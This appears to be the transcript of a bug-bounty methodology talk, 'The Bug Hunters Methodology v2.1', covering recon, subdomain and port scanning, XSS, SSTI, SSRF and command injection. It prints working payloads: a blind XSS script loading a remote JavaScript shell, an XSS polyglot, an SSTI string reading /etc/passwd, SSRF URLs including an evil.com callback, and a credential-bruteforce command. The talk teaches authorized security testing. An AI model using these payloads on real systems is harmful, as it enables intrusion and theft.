1 of 76

The Bug Hunters Methodology v2.1

2 of 76

whoami

Jason Haddix - @jhaddix
VP of Trust and Security @Bugcrowd
2014-2015 top hunter on Bugcrowd (Top 20 currently)
Father, hacker, blogger, gamer!

3 of 76

Hack

Stuff

Better

(and practically)

What this talk is about...

And…LOTS of memes…. only some are funny

4 of 76

history && topics

philosophy shifts
discovery techniques
mapping methodology
parameters oft attacked
useful fuzz strings
bypass or filter evasion techniques
new/awesome tooling
memes

Aka “How to Shot Web” @ DEFCON23

Subdomain & Discovery
SQLi
XSS
File Uploads
CSRF
Privilege, Auth, IDOR

5 of 76

v2

MOAR discovery
xss
ssti
ssrf
Code Inj / cmdi / advancements in fuzzing

Infrastructure and config
WAF
SOAP Testing

6 of 76

light reading

7 of 76

Discovering New Targets

8 of 76

Discovery

Intro to scraping for subdomains
Enumall (recon-ng, Alt-DNS wrapper)
Nmap Standard

(sub Scraping)Sublist3r

brutesubs

(sub bruting) MaSSDNS ++

all.txt list

(port scanning) MASSCAN ++

Asn + nmap style

TBHMv1

9 of 76

Sublist3r

10 of 76

Sublist3r

Plazmaz Fork
Fleetcaptain fork

11 of 76

Sublist3r

Fleetcaptain fork

12 of 76

Sub Scraping

recon-ng/enumall	Both	sublist3r
ssltools.com API	Google (Recon-ng now handles captcha)	Baidu
HackerTarget.com API	Bing	Ask
Shodan	Crt.sh	DNSDumpster (scans.io)
	ThreatCrowd	Virustotal
Zoomeye (not core)	Netcraft	Ptrarchive.com
Threatcrowd regged by email (not core)
Zone transfer (not core)
RiskIQ API (not core)
Censys.io (not core)

13 of 76

Some configuration required

Update Docker IMage with non core recon-ng modules
.env file
Disable Bruteforce (see why next...)

14 of 76

Sub Scraping (bespoke)

Cloudflare
Censys.io
Haven't tested but love the ideas

15 of 76

Sub Bruting

Tool	Time to run	Threads	Found
subbrute time ./subbrute.py -c 100 all.txt $TARGET.com \| tee subbrute.output	errored	100	0
gobuster time gobuster -m dns -u $TARGET.com -t 100 -w all.txt	21m15.857s	100	87
massdns time ./subbrute.py /root/work/bin/all.txt $TARGET.com \| ./bin/massdns -r resolvers.txt -t A -a -o -w massdns_output.txt -	1m24.167	n/a	213
dns-parallel-prober time python dns-queue.py $TARGET.com 100 $TARGET_outputfile -i /root/work/bin/all.txt	42m2.868s	100	43
blacksheepwall time ./blacksheepwall_linux_amd64 -clean -dictionary /root/work/bin/all.txt -domain $TARGET.com	256m9.385s	100	61

1,136,964 line subdomain dictionary (all.txt)

16 of 76

Sub Bruting

With Massdns, why not all of them?

all.txt

https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056

17 of 76

Acquisitions

Crunchbase
wikipedia

18 of 76

Port Scanning

Tool	Time to run	Found
masscan masscan -p1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,280,4567,7001,8008,9080 -iL $TARGET_LIST --max-rate 100000 -oG $TARGET_OUTPUT	11m4.164s	196
nmap	∞	zzz

65536 unverified Hosts (a large targets ASN)

19 of 76

Interlude... credential bruteforce

masscan

Brutespray credential bruteforce

Nmap service scan -oG

python brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5

https://github.com/x90skysn3k/brutespray

20 of 76

Interlude... credential bruteforce

21 of 76

Visual Identification

Because of the nature of scraping and dns redirects some sites will be gone or the same.
Gotta get an idea of what is up and unique
We also don’t know what protocol these are on (http vs https, ++)

22 of 76

On App Discovery

23 of 76

WALKING & UNDERSTAND THE APP

24 of 76

Platform Identification and CVE searching

TBHMv1

25 of 76

Coverage for Heavy js sites

ZAP Ajax Spider
Jsparser
linkfinder

26 of 76

jsparser

27 of 76

Linkfinder

28 of 76

Content Discovery / Directory Bruting

Gobuster
Burp content discovery
Robots disallowed
¯\_(ツ)_/¯

Seclists / RAFT / Digger wordlists
Patator
WPScan
cmsmap

TBHMv1

29 of 76

CommonSpeak and Scans.io data

Subdomain data is awesome

30 of 76

Parameter Bruting?

Yep! - Untested but love the idea
Can be combined with backslash scanners top 2500 alexa params

31 of 76

Identify IPs and main TLDs

ASNs

Reverse Whois

Acquisitions

++

Domain bruteforcing,

Resolve && add new IP ranges

Domain scraping for discovered TLDs

Portscan

Visual Identification

Platform Identification

Content Discovery

enumall

sublist3r

++

Massdns

Manual

masscan

eyewitness

Parameter discovery

Builtwith

Wappalyzer

++

Patator or gobuster

Wordlists

Burp

Parameth

Burp analyze target

32 of 76

XSS

33 of 76

XSS (not a lot)

polyglots
Seclists (what up dan!)
Flash
Common input vectors

Blind XSS Frameworks

Sleepy Puppy (python)
XSS Hunter (python)
Ground control (Ruby)(small)

Polyglots
Xss mindmap

TBHMv1

34 of 76

Blind XSS

“><script src=//y.vg></script>

BUG

Jamie: I really enjoy my super admin access this morning !!!

Y.vg is a a javascript shell !!#!

Frans: I really enjoy my NEW super admin access this morning !!!

1

4

3

2

35 of 76

XSSHunter

Payload:

The vulnerable page's URI
Origin of Execution
The Victim's IP Address
The Page Referer
The Victim's User Agent
All Non-HTTP-Only Cookies
The Page's Full HTML DOM
Full Screenshot of the Affected Page
Responsible HTTP Request (If an XSS Hunter compatible tool is used)

Nod to beef & XSShell

36 of 76

XSS Polyglot #4

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e�

37 of 76

Jackmasa’s XSS

Mindmap

https://github.com/jhaddix/XSS.png

38 of 76

Server Side Template Injection

39 of 76

SSTI

Nothing

Engine identification

WAPPalyzer + BuiltWith + Vulners scanner
Test fuzzing
Tooling
TPLmap + tplmap Burp Extension
Backslash powered scanner?

Resources

s

Core Idea: Does the application utilize a template engine? ++

TBHMv1

40 of 76

SSTI

s

1: https://acme.com/errorpage{{2*3}}

2:

https://acme.com/errorpage{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

41 of 76

SSTI Tooling

42 of 76

Server Side Template Injection & Logic / Debug parameters

{regex + perm} template	content
preview	redirect
id
view
activity
name

http://acme.com/script?name={{2*3}}

43 of 76

Server Side Request Forgery

44 of 76

SSRF

Nothing
Well kinda... SSRF (visually) looks very similar to LFI / RFI / Path/dir Traversal!
REMIX!

Where?
Resources

SSRF Bible (black magic)

Exploit

Burp Collaborator

Honourable mention:

^ “Blind detection of path�traversal-vulnerable file uploads”

Common Parameters or Injection points from TBHMv1
file=	folder=
location=	style=
locale=	template=
path=	doc=
display=	source=
load=	pdf=
read=	dest=
retrieve=	continue=

TBHMv1

45 of 76

SSRF (GET examples)

http://ACME.com/redirect.php?url=http://google.com

http://ACME.com/redirect.php?url=//google.com

http://ACME.com/redirect.php?url=google.com

http://ACME.com/redirect.php?url=/PATH/SOMETHING/here

http://ACME.com/redirect.php?url=file:///etc/passwd

http://acme.com/ssrf.php?url=tftp://evil.com:12346/TESTPACKET��

46 of 76

SSRF Resources

47 of 76

SSRF Resources

protocol and schema mappings

Exploit examples

48 of 76

Server Side Request Forgery

Many on the File Includes / Dir Traversal table
{regex + perm} dest	{regex} redirect	{regex + perm} uri	{regex} path
{regex} continue	{regex + perm} url	{regex} window	{regex} next
{regex} data	{regex} reference	{regex + perm} site	{regex} html
{regex + perm} val	{regex} validate	{regex} domain	{regex} callback
{regex} return	{regex + perm} page	{regex} feed	{regex} host
{regex} port

http://acme.com/script?uri=ftp://site

49 of 76

Code Inj, CDMi, & Future Fuzzing, ++

50 of 76

Code Injection + CMD Injection + New Fuzzing

Sqli

Polyglot
Seclists
Sqlmap
Params
Tooling
resources

Commix

CMDi
Supports php code inj

Unknown Identification

Backslash Powered Scanner

resources

TBHMv1

albinowax (James Kettle)

51 of 76

IDOR - MFLAC

IDs
Hashes
Emails

52 of 76

Insecure Direct Object Reference

{regex + perm} id	{regex + perm} user
{regex + perm} account	{regex + perm} number
{regex + perm} order	{regex + perm} no
{regex + perm} doc	{regex + perm} key
{regex + perm} email	{regex + perm} group
{regex + perm} profile	{regex + perm} edit	REST numeric paths

http://acme.com/script?user=21856

53 of 76

Code Injection + CMD Injection

Commix pros

Command injection
Supports php code inj
Custom modules
PS & PY shells
Put many memes in their slides

54 of 76

Backslash Powered Scanner

Generic payloads for any stack

Send a ‘ get an error
Send a \‘ and the backslash escapes your injection character

Multi-tiered, Simple, and effective response analyzing

Response code
Response size
keywords

Watch the video then read the paper =)

https://broadcast.comdi.com/r7rwcspee75eewbu8a0f
http://blog.portswigger.net/2016/11/backslash-powered-scanning-hunting.html

55 of 76

Infrastructure & Config

56 of 76

Subdomain takeover!

Pretty simple, check for cnames that resolve to these services, if the service has lapsed, register and profit!

57 of 76

Subdomain Takeover

58 of 76

Robbing Misconfigured Sh** (AWS)

59 of 76

Robbing Misconfigured Sh** (git)

60 of 76

WAF

61 of 76

Often on newer websites we are hampered by WAF or CDN vendors security products

Cloudflare and Akamai
Dedicated WAFs

Solutions:

Encoding (meh)
Finding origin
Finding Dev

https://twitter.com/jhaddix/status/908044285437726726?lang=en

62 of 76

What’s in a name?

Dev.domain.com
Stage.domain.com
ww1/ww2/ww3...domain.com
www.domain.uk/jp/...
...

https://twitter.com/Jhaddix/status/964714566910279680

63 of 76

SOAP Services

64 of 76

65 of 76

66 of 76

Bespoke .nfo

67 of 76

Bespoke .nfo

68 of 76

resources!

69 of 76

SSRF Resources

Pivoting from blind SSRF to RCE with HashiCorp Consul - Peter Adkins	http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2) - Seth Art	https://sethsec.blogspot.com/2015/12/exploiting-server-side-request-forgery.html
Server-side browsing�considered harmful - Nicolas Grégoire	http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf
How To: Server-Side Request Forgery (SSRF) - Jobert Abma	https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read - Brett Buerhaus	http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
Burp, Collaborate, and Listen: A Pentester Reviews the Latest Burp Suite Addition - Max Zinkus	https://www.bishopfox.com/blog/2016/02/burp-collaborate-listen-pentester-reviews-latest-burp-suite-addition/

70 of 76

CommInj Resources

Pivoting from blind SSRF to RCE with HashiCorp Consul - Peter Adkins	http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2) - Seth Art	https://sethsec.blogspot.com/2015/12/exploiting-server-side-request-forgery.html
Server-side browsing�considered harmful - Nicolas Grégoire	http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf
How To: Server-Side Request Forgery (SSRF) - Jobert Abma	https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read - Brett Buerhaus	http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
Burp, Collaborate, and Listen: A Pentester Reviews the Latest Burp Suite Addition - Max Zinkus	https://www.bishopfox.com/blog/2016/02/burp-collaborate-listen-pentester-reviews-latest-burp-suite-addition/

71 of 76

SSTI

Resources

Original Whitepaper - James Kettle	http://blog.portswigger.net/2015/08/server-side-template-injection.html
OWASP SSTI Workshop - Gérôme Dieu	https://speakerdeck.com/owaspmontreal/workshop-server-side-template-injection-ssti
Exploring SSTI in Flask/Jinja2 - Tim Tomes�	https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/ https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
Injecting Flask - Ryan Reid	https://nvisium.com/blog/2015/12/07/injecting-flask/
Rails Dynamic Render to RCE (CVE-2016-0752) - John Poulin	https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/
uber.com may RCE by Flask Jinja2 Template Injection - Orange Tsai	https://hackerone.com/reports/125980

Hi Pete!

72 of 76

Links

Peter Yaworski	https://leanpub.com/web-hacking-101
Andy Gill	https://leanpub.com/ltr101-breaking-into-infosec
aboul3la	https://github.com/aboul3la/Sublist3r
jhaddix	https://github.com/jhaddix/domain
Tim tomes	https://bitbucket.org/LaNMaSteR53/recon-ng
@infosec_au & @nnwakelam	https://github.com/infosec-au/altdns
blechschmidt	https://github.com/blechschmidt/massdns
robertdavidgraham	https://github.com/robertdavidgraham/masscan
jhaddix - all.txt	https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056
anshumanbh	https://github.com/anshumanbh/brutesubs
OJ Reeves	https://github.com/OJ/gobuster

73 of 76

Links

epinna	https://github.com/epinna/tplmap
	https://github.com/mak-/parameth
	https://gist.github.com/anshumanbh/96a0b81dfe318e9e956013209e178fa9
	https://github.com/ChrisTruncer/EyeWitness
	https://github.com/jackmasa/XSS.png
	https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056

74 of 76

Links

	https://github.com/lorenzog/dns-parallel-prober
SSRF Bible	https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#
	https://github.com/ewilded/psychoPATH
	https://github.com/commixproject/commix

75 of 76

Links

	https://github.com/qazbnm456/awesome-web-security
	https://github.com/infoslack/awesome-web-hacking
	https://github.com/djadmin/awesome-bug-bounty

76 of 76

Jason Haddix - @jhaddix

jhaddix@bugcrowd.com